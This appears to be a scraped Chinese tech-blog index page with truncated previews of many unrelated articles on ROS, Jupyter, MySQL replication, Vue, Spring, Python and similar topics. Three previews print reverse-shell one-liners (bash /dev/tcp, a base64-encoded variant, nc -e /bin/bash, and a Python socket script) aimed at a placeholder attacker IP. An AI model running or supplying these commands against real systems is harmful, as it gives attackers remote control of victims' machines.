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学习:《机器人操作系统》作者:刘相权,张万杰第一章,第二章笔记ROS虽然被称为操作系统,但是真正底层的任务调度,编译,寻址等任务还是由Linux操作系统完成——ROS是一个运行在Linux上的次级操作系统。双系统建议空间在100G以上,分区如下:如果有条件/:这个分区可以设置的大一些截图:shift+prtsc+Fn截取某个区域的图片内容/微信截图Alt+a命令行使用(1)调出终端程序,命令行上下
- Jupyter常见操作(持续更新)
Morning的呀
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Jupyter常见操作(持续更新)本文主要整理一些常见的或者比较简单的Jupyter操作,尽量保证一次性整理出来,方便需要但是忘记的情况下可以直接查,希望能当字典。1.查看Jupyter内核jupyterkernelspeclist2.使用指定内核condaactivate+“内核名称”例:condaactivated2l-env3.启动Jupyterjupyternotebook
- Python 的内置函数 object
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Python内建函数列表>Python的内置函数objectPython的内置函数object是Python中最基础的类,它是所有类的基类。在Python中,所有的类都直接或间接地继承自object类。object类提供了一些默认的方法和属性,这些方法和属性可以被所有Python对象使用。基本特性继承关系:所有Python类默认都继承自object。例如,定义一个空类时,实际上它已经隐式地继承了o
- Neo4j 图数据库安装教程(2024最新版)—— Windows / Linux / macOS 全平台指南
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Neo4j图数据库安装教程(2024最新版)——Windows/Linux/macOS全平台指南Neo4j是目前最流行的图数据库(GraphDatabase),广泛应用于社交网络、推荐系统、知识图谱等领域。本文将详细介绍Windows、Linux和macOS三大平台的Neo4j安装方法,并包含配置优化、基础使用示例和常见问题解决。一、Neo4j简介1.什么是Neo4j?Neo4j是一个高性能的No
- Java线程池任务停止机制全面指南:优雅终止与强制中断
Java线程池任务停止机制全面指南:优雅终止与强制中断一、线程池任务停止概述在Java并发编程中,线程池任务的停止是一个需要谨慎处理的问题。不当的任务停止方式可能导致数据不一致、资源泄漏等问题。本文将深入探讨Java线程池中各种任务停止的方法和最佳实践。1.1为什么需要关注任务停止资源管理:避免线程和资源泄漏系统稳定性:防止任务意外中断导致系统状态异常响应性:快速响应系统关闭或配置变更需求数据一致
- Luckysheet Excel xlsx 导入导出互相转换
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LuckysheetExcelxlsx导入导出互相转换LuckysheetExcelxlsx的导入导出互相转换使用方法支持功能列表LuckysheetExcelxlsx的导入导出互相转换Luckysheet支持在线编辑表格,但官方不支持Luckysheet导出为Excelxlsx,也不支持Excelxlsx导入,也就是Luckysheetjson无法同xlsx格式互相转换,现在给大家介绍一个好用的
- 大话前端:Vue和React的生命周期
Vue和React的生命周期可以比作一棵树的生命周期,从种子到成熟树木的整个过程。种子阶段(初始化):Vue:这是创建Vue实例的过程,类似于树木的种子埋入土壤,开始萌芽。在这个阶段,Vue会初始化事件和生命周期,然后进入模板编译阶段。React:类似地,React组件的初始化阶段就像是种子的萌芽。这里涉及到组件的构造函数、getDefaultProps和getInitialState方法,它们为
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一、基础概念题1、Vue响应式原理是什么?如何检测数组变化?Vue的响应式原理主要是通过使用JavaScript的对象属性访问器(getters和setters)、依赖收集(dependencytracking)以及异步更新策略来实现的。以下是其核心概念:数据劫持/代理:Vue2.x使用Object.defineProperty方法将数据对象的所有属性转换为getter/setter形式。当属性被
- paddlepaddle测试安装_python3.7中安装paddleocr及paddlepaddle包的多种方法
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升级pippip版本必须升级到20.0.4版本才能应用;方法一、在pycharm中对pip进行升级;方法二、通过命令进行升级python3.7-mpipinstall--upgradepip下载paddleOCR下载链接:https://github.com/PaddlePaddle/PaddleOCR打开paddleOCR文件夹中requirements.txt文件,更改文件中opencv-py
- mysql主从表配置文件_mysql主从复制配置
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mysql主从表配置文件
#以下是mysql5.6及5.7版本的,其他版本不知是否一致目的:1.为了冗余备份,主库挂了,切换到从库使用2.为了实现读写分离,主从复制是实现读写分离的前提主从复制的原理图:配置步骤:1.修改配置文件vim/etc/my.cnf#不同mysql的server-id需要不同主库添加配置信息:[mysqld]server-id=1log-bin=z-mysql-bin从库添加配置信息:[mysqld
- 独立开发者如何利用开源项目建立个人品牌并变现
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独立开发者如何利用开源项目建立个人品牌并变现关键词:独立开发者、开源项目、个人品牌、技术变现、社区运营摘要:本文从独立开发者的视角出发,结合真实案例与实战方法论,系统讲解如何通过开源项目打造个人技术品牌,并探索可持续的变现路径。内容涵盖开源项目的选题逻辑、社区运营技巧、品牌传播策略,以及赞助、付费服务等具体变现模式,帮助开发者从“代码生产者”升级为“技术品牌主理人”。背景介绍目的和范围在技术圈,“
- ShardingProxy-分库分表
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ShardingProxy获取资源包下载地址ShardingProxy当前使用版本4.1.1安装apache-shardingsphere-4.1.1-sharding-proxy-bin.tar.gz解压即可目录说明bin:启动脚本start.bat:window启动脚本start.sh:linux启动脚本stop.sh:linux停止脚本conf:配置文件server
- MySQL的主从和分库分表
snow_7
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主从分离:多读少些的场景MySQL1)主从复制使用的是binlog异步的方式MySQL的主从复制是依赖于binlog的,也就是记录MySQL上的所有变化并以二进制形式保存在磁盘上二进制日志文件。主从复制就是将binlog中的数据从主库传输到从库上,一般这个过程是异步的,即主库上的操作不会等待binlog同步的完成。主从复制的过程是这样的:首先从库在连接到主节点时会创建一个IO线程,用以请求主库更新
- The Django Book-----第一章:介绍Django
日常发霉
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第一章:介绍Django本书所讲的是Django:一个可以使Web开发工作愉快并且高效的Web开发框架。使用Django,使你能够以最小的代价构建和维护高质量的Web应用。从好的方面来看,Web开发激动人心且富于创造性;从另一面来看,它却是份繁琐而令人生厌的工作。通过减少重复的代码,Django使你能够专注于Web应用上有趣的关键性的东西。为了达到这个目标,Django提供了通用Web开发模式的高
- 安装MySql服务集群,主从复制模式,MySql 8.x为例
拄杖忙学轻声码
Linux部署与安装MySQLOraclePostgreSQLmysql
说明:在高并发的应用中,mysql数据库经常成为系统的瓶颈之一。为了解决这一问题,使用主从复制(Master-SlaveReplication)可以有效地分担数据库的读压力。主从复制是一种异步复制模式,允许将一个主数据库的数据复制到一个或多个从数据库,所有的写操作都在主数据库上执行,而从数据库主要用于读操作一、准备假设我们有两台服务器:1、主服务器(Master):192.168.0.12、从服务
- 爬虫基础-urllib库的使用
a little peanut
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注:本文章为学习过程中对知识点的记录,供自己复习使用,也给大家做个参考,如有错误,麻烦指出,大家共同探讨,互相进步。借鉴出处:该文章的路线和主要内容:崔庆才(第2版)python3网络爬虫开发实战bytes类型:https://blog.csdn.net/apple_50618492/article/details/114677967python中文官网:https://docs.python.o
- Python3爬虫笔记 -- urllib
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urllib库是Python内置的HTTP请求库,不需要额外安装。它包含如下4个模块:request:HTTP请求模块error:异常处理模块parse:提供URL处理方法,包括拆分、解析、合并等robotparser:识别网站等robot.txt文件1、urllib.request发送请求连接URL,获取返回页面的源代码;默认请求方式为GETimporturllib.requestrespons
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自动化代码生成、低代码/无代码开发、算法优化实践等新兴技术在软件开发领域正逐渐崭露头角。这些技术为开发者提供了更高效、更便捷的开发方式,大大提升了软件开发的效率和质量。本文重点探讨的是这些技术在实际应用中的价值和优势。1、自动化代码生成1.1优势自动化代码生成是利用机器学习和人工智能技术,通过分析需求和已有代码,生成可用的代码片段或完整的程序。这种技术可以极大地减少开发人员的工作量,提高开发效率。
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- 各种shell反弹方法
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1.利用bash进行反弹shell先使用nc进行监听nc-lvvpport端口号再在目标机器执行bash-i>&/dev/tcp/攻击ip/端口0>&1bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjcvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}2.使用nc进行反弹shellnc-e/bin/bash攻击IP端
- MyBatis注解开发增删改查基础篇
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本文是MyBatis注解开发的基础篇,将通过实际场景,详细介绍MyBatis注解式开发的使用,这是MyBatis很强大的一个特性,可以直接在接口方法上定义SQL语句,从而实现数据库的增删改查操作。本文目录一、环境依赖二、创建对应实体类三、映射接口四、复杂查询与动态SQL一、环境依赖在开发之前,需要确保环境pom.xml中添加了MyBatis相关依赖。org.mybatis.spring.bootm
- MySQL——表添加索引多种方式
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MySQLmysql数据库
在不同的数据库管理系统中,添加索引的基本思路类似,但语法会稍有不同,下面以常见的MySQL数据库为例,介绍三种在表中添加索引的方式。本文目录方式一:创建表时添加索引语法示例实际例子方式二:使用ALTERTABLE语句添加索引语法示例实际例子方式三:使用CREATEINDEX语句添加索引语法示例实际例子方式一:创建表时添加索引在使用CREATETABLE语句创建表的同时,可以为表中的列添加索引。这种
- python反弹shell
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你是想问Python如何实现反弹shell吗?反弹shell是一种通过远程连接获取受害者计算机的shell权限的攻击技术。使用Python反弹shell的方法如下:首先,在本地计算机上运行一个监听程序,等待连接。然后,在受害者计算机上运行一个Python脚本,该脚本将连接到本地计算机的监听程序。当连接建立后,就可以通过本地计算机上的shell命令控制受害者计算机。具体的代码实现可以参考如下:本地计
- [Python] -基础篇6-Python中的字符串处理技巧合集
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Python中的字符串类型是非常常用的基础类型。不管是处理文本、数据分析,还是系统管理等场景,都不能离开字符串的操作。本文将分类整理Python字符串的常用技巧和方法,帮助你接地气地接触字符串处理的本质。1.基础操作1.1字符串切片s="Hello,Python!"print(s[0:5])#Helloprint(s[-7:])#Python!1.2字符串连接和处理name="Alice"gree
- linux替换war包中的文件,Linux zip与unzip命令:替换war包中的某个文件
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原本,想用jar命令来快速替换war包的文件的,可是,发现Ubuntu中没有装Java,懒癌发做,遂使用zip与unzip命令代替。appzip:压缩命令ide格式:zip[-选项]*.war要压缩的文件例子:zip-mapp.war/WEB-INF/classes/com/app/business/service/platform/impl/abc.classspa选项:orm-m:不检查而替换
- Vue 列表渲染&数据更新
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一.基本使用基本列表人员列表(遍历数组){{p.name}}-{{p.age}}汽车信息(遍历对象){{k}}-{{value}}测试遍历字符串(用得少){{char}}-{{index}}测试遍历指定次数(用得少){{index}}-{{number}}Vue.config.productionTip=falsenewVue({el:'#root',data:{persons:[{id:'001
- Vue计算属性与监视属性
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1.1什么是计算属性?计算属性是Vue中一个非常实用的特性,它允许我们基于已有的数据属性计算出新的属性值。简单来说,计算属性就是通过data中已定义的属性计算得来的属性。原理:Vue底层使用defineProperty方法提供的getter和setter来实现计算属性。1.2计算属性的特点缓存机制:计算属性会缓存计算结果,只有依赖的属性发生变化时才会重新计算响应式:当依赖的数据变化时,计算属性会自
- 使用 Python 实现反弹 shell
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使用Python实现反弹shell如果目标系统有Python环境,可以使用以下Python命令反弹shell:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP地址",端口号));os.dup2(s.fileno(),0);os.dup2(s.
- sql统计相同项个数并按名次显示
朱辉辉33
javaoracle
现在有如下这样一个表:
A表
ID Name time
------------------------------
0001 aaa 2006-11-18
0002 ccc 2006-11-18
0003 eee 2006-11-18
0004 aaa 2006-11-18
0005 eee 2006-11-18
0004 aaa 2006-11-18
0002 ccc 20
- Android+Jquery Mobile学习系列-目录
白糖_
JQuery Mobile
最近在研究学习基于Android的移动应用开发,准备给家里人做一个应用程序用用。向公司手机移动团队咨询了下,觉得使用Android的WebView上手最快,因为WebView等于是一个内置浏览器,可以基于html页面开发,不用去学习Android自带的七七八八的控件。然后加上Jquery mobile的样式渲染和事件等,就能非常方便的做动态应用了。
从现在起,往后一段时间,我打算
- 如何给线程池命名
daysinsun
线程池
在系统运行后,在线程快照里总是看到线程池的名字为pool-xx,这样导致很不好定位,怎么给线程池一个有意义的名字呢。参照ThreadPoolExecutor类的ThreadFactory,自己实现ThreadFactory接口,重写newThread方法即可。参考代码如下:
public class Named
- IE 中"HTML Parsing Error:Unable to modify the parent container element before the
周凡杨
html解析errorreadyState
错误: IE 中"HTML Parsing Error:Unable to modify the parent container element before the child element is closed"
现象: 同事之间几个IE 测试情况下,有的报这个错,有的不报。经查询资料后,可归纳以下原因。
- java上传
g21121
java
我们在做web项目中通常会遇到上传文件的情况,用struts等框架的会直接用的自带的标签和组件,今天说的是利用servlet来完成上传。
我们这里利用到commons-fileupload组件,相关jar包可以取apache官网下载:http://commons.apache.org/
下面是servlet的代码:
//定义一个磁盘文件工厂
DiskFileItemFactory fact
- SpringMVC配置学习
510888780
springmvc
spring MVC配置详解
现在主流的Web MVC框架除了Struts这个主力 外,其次就是Spring MVC了,因此这也是作为一名程序员需要掌握的主流框架,框架选择多了,应对多变的需求和业务时,可实行的方案自然就多了。不过要想灵活运用Spring MVC来应对大多数的Web开发,就必须要掌握它的配置及原理。
一、Spring MVC环境搭建:(Spring 2.5.6 + Hi
- spring mvc-jfreeChart 柱图(1)
布衣凌宇
jfreechart
第一步:下载jfreeChart包,注意是jfreeChart文件lib目录下的,jcommon-1.0.23.jar和jfreechart-1.0.19.jar两个包即可;
第二步:配置web.xml;
web.xml代码如下
<servlet>
<servlet-name>jfreechart</servlet-nam
- 我的spring学习笔记13-容器扩展点之PropertyPlaceholderConfigurer
aijuans
Spring3
PropertyPlaceholderConfigurer是个bean工厂后置处理器的实现,也就是BeanFactoryPostProcessor接口的一个实现。关于BeanFactoryPostProcessor和BeanPostProcessor类似。我会在其他地方介绍。PropertyPlaceholderConfigurer可以将上下文(配置文件)中的属性值放在另一个单独的标准java P
- java 线程池使用 Runnable&Callable&Future
antlove
javathreadRunnablecallablefuture
1. 创建线程池
ExecutorService executorService = Executors.newCachedThreadPool();
2. 执行一次线程,调用Runnable接口实现
Future<?> future = executorService.submit(new DefaultRunnable());
System.out.prin
- XML语法元素结构的总结
百合不是茶
xml树结构
1.XML介绍1969年 gml (主要目的是要在不同的机器进行通信的数据规范)1985年 sgml standard generralized markup language1993年 html(www网)1998年 xml extensible markup language
- 改变eclipse编码格式
bijian1013
eclipse编码格式
1.改变整个工作空间的编码格式
改变整个工作空间的编码格式,这样以后新建的文件也是新设置的编码格式。
Eclipse->window->preferences->General->workspace-
- javascript中return的设计缺陷
bijian1013
JavaScriptAngularJS
代码1:
<script>
var gisService = (function(window)
{
return
{
name:function ()
{
alert(1);
}
};
})(this);
gisService.name();
&l
- 【持久化框架MyBatis3八】Spring集成MyBatis3
bit1129
Mybatis3
pom.xml配置
Maven的pom中主要包括:
MyBatis
MyBatis-Spring
Spring
MySQL-Connector-Java
Druid
applicationContext.xml配置
<?xml version="1.0" encoding="UTF-8"?>
&
- java web项目启动时自动加载自定义properties文件
bitray
javaWeb监听器相对路径
创建一个类
public class ContextInitListener implements ServletContextListener
使得该类成为一个监听器。用于监听整个容器生命周期的,主要是初始化和销毁的。
类创建后要在web.xml配置文件中增加一个简单的监听器配置,即刚才我们定义的类。
<listener>
<des
- 用nginx区分文件大小做出不同响应
ronin47
昨晚和前21v的同事聊天,说到我离职后一些技术上的更新。其中有个给某大客户(游戏下载类)的特殊需求设计,因为文件大小差距很大——估计是大版本和补丁的区别——又走的是同一个域名,而squid在响应比较大的文件时,尤其是初次下载的时候,性能比较差,所以拆成两组服务器,squid服务于较小的文件,通过pull方式从peer层获取,nginx服务于较大的文件,通过push方式由peer层分发同步。外部发布
- java-67-扑克牌的顺子.从扑克牌中随机抽5张牌,判断是不是一个顺子,即这5张牌是不是连续的.2-10为数字本身,A为1,J为11,Q为12,K为13,而大
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package com.ljn.base;
import java.util.Arrays;
import java.util.Random;
public class ContinuousPoker {
/**
* Q67 扑克牌的顺子 从扑克牌中随机抽5张牌,判断是不是一个顺子,即这5张牌是不是连续的。
* 2-10为数字本身,A为1,J为1
- 翟鸿燊老师语录
ccii
翟鸿燊
一、国学应用智慧TAT之亮剑精神A
1. 角色就是人格
就像你一回家的时候,你一进屋里面,你已经是儿子,是姑娘啦,给老爸老妈倒怀水吧,你还觉得你是老总呢?还拿派呢?就像今天一样,你们往这儿一坐,你们之间是什么,同学,是朋友。
还有下属最忌讳的就是领导向他询问情况的时候,什么我不知道,我不清楚,该你知道的你凭什么不知道
- [光速与宇宙]进行光速飞行的一些问题
comsci
问题
在人类整体进入宇宙时代,即将开展深空宇宙探索之前,我有几个猜想想告诉大家
仅仅是猜想。。。未经官方证实
1:要在宇宙中进行光速飞行,必须首先获得宇宙中的航行通行证,而这个航行通行证并不是我们平常认为的那种带钢印的证书,是什么呢? 下面我来告诉
- oracle undo解析
cwqcwqmax9
oracle
oracle undo解析2012-09-24 09:02:01 我来说两句 作者:虫师收藏 我要投稿
Undo是干嘛用的? &nb
- java中各种集合的详细介绍
dashuaifu
java集合
一,java中各种集合的关系图 Collection 接口的接口 对象的集合 ├ List 子接口 &n
- 卸载windows服务的方法
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windowsservice
卸载Windows服务的方法
在Windows中,有一类程序称为服务,在操作系统内核加载完成后就开始加载。这里程序往往运行在操作系统的底层,因此资源占用比较大、执行效率比较高,比较有代表性的就是杀毒软件。但是一旦因为特殊原因不能正确卸载这些程序了,其加载在Windows内的服务就不容易删除了。即便是删除注册表中的相 应项目,虽然不启动了,但是系统中仍然存在此项服务,只是没有加载而已。如果安装其他
- Warning: The Copy Bundle Resources build phase contains this target's Info.plist
dcj3sjt126com
iosxcode
http://developer.apple.com/iphone/library/qa/qa2009/qa1649.html
Excerpt:
You are getting this warning because you probably added your Info.plist file to your Copy Bundle
- 2014之C++学习笔记(一)
Etwo
C++EtwoEtwoiterator迭代器
已经有很长一段时间没有写博客了,可能大家已经淡忘了Etwo这个人的存在,这一年多以来,本人从事了AS的相关开发工作,但最近一段时间,AS在天朝的没落,相信有很多码农也都清楚,现在的页游基本上达到饱和,手机上的游戏基本被unity3D与cocos占据,AS基本没有容身之处。so。。。最近我并不打算直接转型
- js跨越获取数据问题记录
haifengwuch
jsonpjsonAjax
js的跨越问题,普通的ajax无法获取服务器返回的值。
第一种解决方案,通过getson,后台配合方式,实现。
Java后台代码:
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String ca
- 蓝色jQuery导航条
ini
JavaScripthtmljqueryWebhtml5
效果体验:http://keleyi.com/keleyi/phtml/jqtexiao/39.htmHTML文件代码:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>jQuery鼠标悬停上下滑动导航条 - 柯乐义<
- linux部署jdk,tomcat,mysql
kerryg
jdktomcatlinuxmysql
1、安装java环境jdk:
一般系统都会默认自带的JDK,但是不太好用,都会卸载了,然后重新安装。
1.1)、卸载:
(rpm -qa :查询已经安装哪些软件包;
rmp -q 软件包:查询指定包是否已
- DOMContentLoaded VS onload VS onreadystatechange
mutongwu
jqueryjs
1. DOMContentLoaded 在页面html、script、style加载完毕即可触发,无需等待所有资源(image/iframe)加载完毕。(IE9+)
2. onload是最早支持的事件,要求所有资源加载完毕触发。
3. onreadystatechange 开始在IE引入,后来其它浏览器也有一定的实现。涉及以下 document , applet, embed, fra
- sql批量插入数据
qifeifei
批量插入
hi,
自己在做工程的时候,遇到批量插入数据的数据修复场景。我的思路是在插入前准备一个临时表,临时表的整理就看当时的选择条件了,临时表就是要插入的数据集,最后再批量插入到数据库中。
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SELECT
item_id AS combo_id,
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FROM
a
- log4j打印日志文件 如何实现相对路径到 项目工程下
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Weblog4j应用服务器日志
最近为了实现统计一个网站的访问量,记录用户的登录信息,以方便站长实时了解自己网站的访问情况,选择了Apache 的log4j,但是在选择相对路径那块 卡主了,X度了好多方法(其实大多都是一样的内用,还一个字都不差的),都没有能解决问题,无奈搞了2天终于解决了,与大家分享一下
需求:
用户登录该网站时,把用户的登录名,ip,时间。统计到一个txt文档里,以方便其他系统调用此txt。项目名
- linux下mysql-5.6.23.tar.gz安装与配置
笑我痴狂
mysqllinuxunix
1.卸载系统默认的mysql
[root@localhost ~]# rpm -qa | grep mysql
mysql-libs-5.1.66-2.el6_3.x86_64
mysql-devel-5.1.66-2.el6_3.x86_64
mysql-5.1.66-2.el6_3.x86_64
[root@localhost ~]# rpm -e mysql-libs-5.1